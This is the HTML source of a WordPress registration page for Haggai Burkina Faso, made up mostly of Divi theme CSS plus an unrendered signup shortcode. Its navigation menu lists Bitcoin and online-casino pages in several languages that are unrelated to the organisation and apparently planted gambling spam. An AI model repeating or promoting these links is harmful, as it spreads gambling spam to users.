.footer-widget h4,#main-footer .widget_block h1,#main-footer .widget_block h2,#main-footer .widget_block h3,#main-footer .widget_block h4,#main-footer .widget_block h5,#main-footer .widget_block h6{color:#2EA3F2}.footer-widget li:before{border-color:#2EA3F2}.bottom-nav li.current-menu-item>a{color:#2EA3F2}#main-footer{background-color:#222222}#footer-widgets{padding:6% 0 0}.footer-widget{float:left;color:#fff}.last{margin-right:0}.footer-widget .fwidget:last-child{margin-bottom:0 !important}#footer-widgets .footer-widget li{padding-left:14px;position:relative}#footer-widgets .footer-widget li:before{border-radius:3px;border-style:solid;border-width:3px;content:"";left:0;position:absolute;top:9px}#footer-widgets .footer-widget a{color:#fff}#footer-widgets .footer-widget li a{color:#fff;text-decoration:none}#footer-widgets .footer-widget li a:hover{color:rgba(255,255,255,0.7)}.footer-widget .widget_adsensewidget ins{min-width:160px}#footer-bottom{background-color:#1f1f1f;background-color:rgba(0,0,0,0.32);padding:15px 0 5px}#footer-bottom a{-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}#footer-info{text-align:left;color:#666;padding-bottom:10px;float:left}#footer-info a{font-weight:700;color:#666}#footer-info a:hover{opacity:.7}#et-footer-nav{background-color:rgba(255,255,255,0.05)}.bottom-nav{padding:15px 0}.bottom-nav li{font-weight:600;display:inline-block;font-size:14px;padding-right:22px}.bottom-nav a{color:#bbb;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.bottom-nav a:hover{opacity:.7}@media all and (max-width: 980px){.footer-widget:nth-child(n){width:46.25% !important;margin:0 7.5% 7.5% 0 !important}.et_pb_footer_columns1 .footer-widget{width:100% !important;margin:0 7.5% 7.5% 0 !important}#footer-widgets .footer-widget .fwidget{margin-bottom:16.21%}.et_pb_gutters1 .footer-widget:nth-child(n){width:50% !important;margin:0 !important}.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0}#footer-widgets{padding:8% 0}#footer-widgets .footer-widget:nth-child(2n){margin-right:0 !important}#footer-widgets .footer-widget:nth-last-child(-n+2){margin-bottom:0 !important}.bottom-nav{text-align:center}#footer-info{float:none;text-align:center}}@media all and (max-width: 767px){#footer-widgets .footer-widget,.et_pb_gutters1 #footer-widgets .footer-widget{width:100% !important;margin-right:0 !important}#footer-widgets .footer-widget:nth-child(n),#footer-widgets .footer-widget .fwidget{margin-bottom:9.5% !important}.et_pb_gutters1 #footer-widgets .footer-widget:nth-child(n),.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0 !important}#footer-widgets{padding:10% 0}#footer-widgets .footer-widget .fwidget:last-child{margin-bottom:0 !important}#footer-widgets .footer-widget:last-child{margin-bottom:0 !important}}@media all and (max-width: 479px){#footer-widgets .footer-widget:nth-child(n),.footer-widget .fwidget{margin-bottom:11.5% !important}#footer-widgets .footer-widget.last{margin-bottom:0 !important}.et_pb_gutters1 #footer-widgets .footer-widget:nth-child(n),.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0 !important}#footer-widgets{padding:12% 0}}
@media all and (min-width: 981px){.et_pb_gutters3 .footer-widget{margin-right:5.5%;margin-bottom:5.5%}.et_pb_gutters3 .footer-widget:last-child{margin-right:0}.et_pb_gutters3.et_pb_footer_columns6 .footer-widget{width:12.083%}.et_pb_gutters3.et_pb_footer_columns6 .footer-widget .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns5 .footer-widget{width:15.6%}.et_pb_gutters3.et_pb_footer_columns5 .footer-widget .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns4 .footer-widget{width:20.875%}.et_pb_gutters3.et_pb_footer_columns4 .footer-widget .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns3 .footer-widget{width:29.667%}.et_pb_gutters3.et_pb_footer_columns3 .footer-widget .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns2 .footer-widget{width:47.25%}.et_pb_gutters3.et_pb_footer_columns2 .footer-widget .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns1 .footer-widget{width:100%}.et_pb_gutters3.et_pb_footer_columns1 .footer-widget .fwidget{margin-bottom:5.5%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(1){width:73.625%;clear:both}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(1) .fwidget{margin-bottom:7.47%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(2){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(1){width:20.875%;clear:both}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(1) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(2){width:73.625%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:7.47%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(1){width:64.833%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(1) .fwidget{margin-bottom:8.483%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(2){width:29.667%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(2) .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(1){width:29.667%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(1) .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(2){width:64.833%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(2) .fwidget{margin-bottom:8.483%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(-n+2){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(-n+2) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(3){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(3) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:first-child{width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:first-child .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:nth-child(-n+3):not(:nth-child(1)){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:nth-child(-n+3):not(:nth-child(1)) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(-n+2){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(-n+2) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(3){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(3) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:first-child{width:57.8%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:first-child .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:nth-child(-n+3):not(:nth-child(1)){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:nth-child(-n+3):not(:nth-child(1)) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(1){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(1) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(2){width:36.7%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:14.986%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(1){width:36.7%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(1) .fwidget{margin-bottom:14.986%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(2){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:first-child{width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:first-child .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:nth-child(-n+4):not(:nth-child(1)){width:12.083%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:nth-child(-n+4):not(:nth-child(1)) .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(-n+3){width:12.083%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(-n+3) .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(4){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(4) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(-n+3):not(:nth-child(2)){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(-n+3):not(:nth-child(2)) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(2){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(-n+3):not(:nth-child(2)){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(-n+3):not(:nth-child(2)) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(2){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:9.516%}}
.et-social-icons{float:right}.et-social-icons li{display:inline-block;margin-left:20px}.et-social-icon a{display:inline-block;font-size:24px;position:relative;text-align:center;-webkit-transition:color 300ms ease 0s;transition:color 300ms ease 0s;color:#666;text-decoration:none}.et-social-icons a:hover{opacity:0.7;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.et-social-icon span{display:none}.et_duplicate_social_icons{display:none}@media all and (max-width: 980px){.et-social-icons{float:none;text-align:center}}@media all and (max-width: 980px){.et-social-icons{margin:0 0 5px}}
#sidebar{padding-bottom:28px}#sidebar .et_pb_widget{margin-bottom:30px;width:100%;float:none}.et_right_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section.sep{font-size:44px;line-height:44px}.et_right_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section.sep{font-size:32px;line-height:32px}.et_right_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section.sep{font-size:24px;line-height:24px}.et_right_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section.sep{font-size:20px;line-height:20px}.et_right_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section.sep{font-size:16px;line-height:16px}@media all and (min-width: 981px) and (max-width: 1100px){#sidebar .et_pb_widget{margin-left:0}.et_left_sidebar #sidebar .et_pb_widget{margin-right:0}}@media all and (min-width: 981px){#sidebar{float:left;width:20.875%}.et_right_sidebar #left-area{float:left;padding-right:5.5%}.et_right_sidebar #sidebar{padding-left:30px}.et_right_sidebar #main-content .container:before{right:20.875% !important}.et_left_sidebar #left-area{float:right;padding-left:5.5%}.et_left_sidebar #sidebar{padding-right:30px}.et_left_sidebar #main-content .container:before{left:20.875% !important}}@media all and (max-width: 980px){.et_right_sidebar #left-area,.et_right_sidebar #sidebar,.et_left_sidebar #left-area,.et_left_sidebar #sidebar{width:auto;float:none;padding-right:0;padding-left:0}.et_right_sidebar #left-area{margin-right:0}.et_right_sidebar #sidebar{margin-left:0;border-left:none}.et_left_sidebar #left-area{margin-left:0}.et_left_sidebar #sidebar{margin-right:0;border-right:none}}
.widget_search .screen-reader-text,.et_pb_widget .wp-block-search__label{display:none}.widget_search input#s,.widget_search input#searchsubmit,.et_pb_widget .wp-block-search__input,.et_pb_widget .wp-block-search__button{padding:.7em;height:40px !important;margin:0;font-size:14px;line-height:normal !important;border:1px solid #ddd;color:#666}.widget_search #s,.et_pb_widget .wp-block-search__input{width:100%;border-radius:3px}.widget_search #searchform,.et_pb_widget .wp-block-search{position:relative}.widget_search #searchsubmit,.et_pb_widget .wp-block-search__button{background-color:#ddd;-webkit-border-top-right-radius:3px;-webkit-border-bottom-right-radius:3px;-moz-border-radius-topright:3px;-moz-border-radius-bottomright:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;position:absolute;right:0;top:0}#searchsubmit,.et_pb_widget .wp-block-search__button{cursor:pointer}
/*# sourceURL=divi-dynamic-critical-inline-css */
</style>
<link rel='stylesheet' id='divi-style-css' href='http://haggai-bf.org/wp-content/themes/Divi-child/style.css?ver=4.27.6' media='all' />
<link rel="https://api.w.org/" href="https://haggai-bf.org/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://haggai-bf.org/wp-json/wp/v2/pages/136" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://haggai-bf.org/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0" />
<link rel="canonical" href="https://haggai-bf.org/register/" />
<link rel='shortlink' href='https://haggai-bf.org/?p=136' />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /><link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF-150x150.png" sizes="32x32" />
<link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<meta name="msapplication-TileImage" content="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<link rel="stylesheet" id="et-divi-customizer-global-cached-inline-styles" href="http://haggai-bf.org/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1780281736" /><style id="et-critical-inline-css"></style>
</head>
<body class="wp-singular page-template-default page page-id-136 wp-custom-logo wp-theme-Divi wp-child-theme-Divi-child et_pb_button_helper_class et_fixed_nav et_show_nav et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_header_style_left et_pb_footer_columns4 et_cover_background et_pb_gutter et_pb_gutters3 et_right_sidebar et_divi_theme et-db">
	<div id="page-container">

	
	
			<header id="main-header" data-height-onload="66">
			<div class="container clearfix et_menu_container">
							<div class="logo_container">
					<span class="logo_helper"></span>
					<a href="https://haggai-bf.org/">
						<img src="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" width="931" height="742" alt="HAGGAI BURKINA FASO" id="logo" data-height-percentage="54" />
					</a>
				</div>
							<div id="et-top-navigation" data-height="66" data-fixed-height="40">
											<nav id="top-menu-nav">
													<ul id="top-menu" class="nav">
																	<li ><a href="https://haggai-bf.org/">Accueil</a></li>
								
								<li class="page_item page-item-844"><a href="https://haggai-bf.org/bitcoin-jatszani-fiokellenorzes-utmutato/">Bitcoin játszani – fiókellenőrzés útmutató</a></li>
<li class="page_item page-item-840"><a href="https://haggai-bf.org/bitcoin-kasino-v-ceske-republice-kompletni-pruvodce-bonusy-rychle-vybery-a-bezpecnost/">Bitcoin kasino v České republice – kompletní průvodce, bonusy, rychlé výběry a bezpečnost</a></li>
<li class="page_item page-item-838"><a href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/">BTC hrát: aplikace a mobilní průvodce</a></li>
<li class="page_item page-item-469"><a href="https://haggai-bf.org/canli-casino-siteleri-2026-en-iyi-ve-guvenilir-casino-listesi/">Canlı Casino Siteleri 2026 &#8211; En İyi ve Güvenilir Casino Listesi</a></li>
<li class="page_item page-item-832"><a href="https://haggai-bf.org/casino-bitcoin-guia-paso-a-paso-para-registrarte-e-iniciar-sesion/">Casino Bitcoin: guía paso a paso para registrarte e iniciar sesión</a></li>
<li class="page_item page-item-847"><a href="https://haggai-bf.org/crypto-casino-europe-review-bonuses-payments-mobile-guide-for-dutch-players/">Crypto Casino Europe Review – Bonuses, Payments &#038; Mobile Guide for Dutch Players</a></li>
<li class="page_item page-item-239"><a href="https://haggai-bf.org/magyar-casino-online-fiokellenorzes-lepesei-praktikus-utmutato/">Magyar casino online fiókellenőrzés lépései – Praktikus útmutató</a></li>
<li class="page_item page-item-41"><a href="https://haggai-bf.org/nous-contacter/">Nous contacter</a></li>
<li class="page_item page-item-828"><a href="https://haggai-bf.org/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a></li>
<li class="page_item page-item-826"><a href="https://haggai-bf.org/pin-up-casino-az-rbaycanda-onlayn-kazino-pin-up/">Pin Up Casino &#8211; Azərbaycanda onlayn kazino Pin-Up</a></li>
<li class="page_item page-item-821"><a href="https://haggai-bf.org/pin-up-casino-onlayn-az-rbaycan/">Pin Up Casino Onlayn Azərbaycan</a></li>
									<li class="cat-item cat-item-11"><a href="https://haggai-bf.org/category/public/">public</a>
</li>
							</ul>
												</nav>
					
					
					
											<div id="et_top_search">
							<span id="et_search_icon"></span>
						</div>
					
					<div id="et_mobile_nav_menu">
				<div class="mobile_nav closed">
					<span class="select_page">Sélectionner une page</span>
					<span class="mobile_menu_bar mobile_menu_bar_toggle"></span>
				</div>
			</div>				</div> <!-- #et-top-navigation -->
			</div> <!-- .container -->
						<div class="et_search_outer">
				<div class="container et_search_form_container">
					<form role="search" method="get" class="et-search-form" action="https://haggai-bf.org/">
					<input type="search" class="et-search-field" placeholder="Rechercher &hellip;" value="" name="s" title="Rechercher:" />					</form>
					<span class="et_close_search_field"></span>
				</div>
			</div>
					</header> <!-- #main-header -->
			<div id="et-main-area">
	
<div id="main-content">


	<div class="container">
		<div id="content-area" class="clearfix">
			<div id="left-area">


			
				<article id="post-136" class="post-136 page type-page status-publish hentry">

				
					<h1 class="entry-title main_title">S’inscrire</h1>
				
				
					<div class="entry-content">
					<p>[ultimatemember form_id= »129&Prime;]</p>
					</div>

				
				</article>

			

			</div>

					</div>
	</div>


</div>


			<footer id="main-footer">
				

		
				<div id="footer-bottom">
					<div class="container clearfix">
				<ul class="et-social-icons">

	<li class="et-social-icon et-social-facebook">
		<a href="#" class="icon">
			<span>Facebook</span>
		</a>
	</li>
	<li class="et-social-icon et-social-twitter">
		<a href="#" class="icon">
			<span>X</span>
		</a>
	</li>
	<li class="et-social-icon et-social-instagram">
		<a href="#" class="icon">
			<span>Instagram</span>
		</a>
	</li>
	<li class="et-social-icon et-social-rss">
		<a href="https://haggai-bf.org/feed/" class="icon">
			<span>RSS</span>
		</a>
	</li>

</ul><div id="footer-info">Design JRB XSolutions |  (c) 2025 HAGGAI BURKINA FASO</div>					</div>
				</div>
			</footer>
		</div>


	</div>

	<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/Divi-child/*","/wp-content/themes/Divi/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="jquery-core-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="jquery-js-after">
jqueryParams.length&&$.each(jqueryParams,function(e,r){if("function"==typeof r){var n=String(r);n.replace("$","jQuery");var a=new Function("return "+n)();$(document).ready(a)}});
//# sourceURL=jquery-js-after
</script>
<script id="divi-custom-script-js-extra">
var DIVI = {"item_count":"%d Item","items_count":"%d Items"};
var et_builder_utils_params = {"condition":{"diviTheme":true,"extraTheme":false},"scrollLocations":["app","top"],"builderScrollLocations":{"desktop":"app","tablet":"app","phone":"app"},"onloadScrollLocation":"app","builderType":"fe"};
var et_frontend_scripts = {"builderCssContainerPrefix":"#et-boc","builderCssLayoutPrefix":"#et-boc .et-l"};
var et_pb_custom = {"ajaxurl":"http://haggai-bf.org/wp-admin/admin-ajax.php","images_uri":"http://haggai-bf.org/wp-content/themes/Divi/images","builder_images_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/images","et_frontend_nonce":"1ba54686f7","subscription_failed":"Veuillez v\u00e9rifier les champs ci-dessous pour vous assurer que vous avez entr\u00e9 les informations correctes.","et_ab_log_nonce":"6e1a125dd2","fill_message":"S'il vous pla\u00eet, remplissez les champs suivants:","contact_error_message":"Veuillez corriger les erreurs suivantes :","invalid":"E-mail non valide","captcha":"Captcha","prev":"Pr\u00e9c\u00e9dent","previous":"Pr\u00e9c\u00e9dente","next":"Prochaine","wrong_captcha":"Vous avez entr\u00e9 le mauvais num\u00e9ro dans le captcha.","wrong_checkbox":"Case \u00e0 cocher","ignore_waypoints":"no","is_divi_theme_used":"1","widget_search_selector":".widget_search","ab_tests":[],"is_ab_testing_active":"","page_id":"136","unique_test_id":"","ab_bounce_rate":"5","is_cache_plugin_active":"yes","is_shortcode_tracking":"","tinymce_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors","accent_color":"#7EBEC5","waypoints_options":[]};
var et_pb_box_shadow_elements = [];
//# sourceURL=divi-custom-script-js-extra
</script>
<script id="divi-custom-script-js" src="http://haggai-bf.org/wp-content/themes/Divi/js/scripts.min.js?ver=4.27.6"></script>
<script id="et-core-common-js" src="http://haggai-bf.org/wp-content/themes/Divi/core/admin/js/common.js?ver=4.27.6"></script>
</body>
</html>
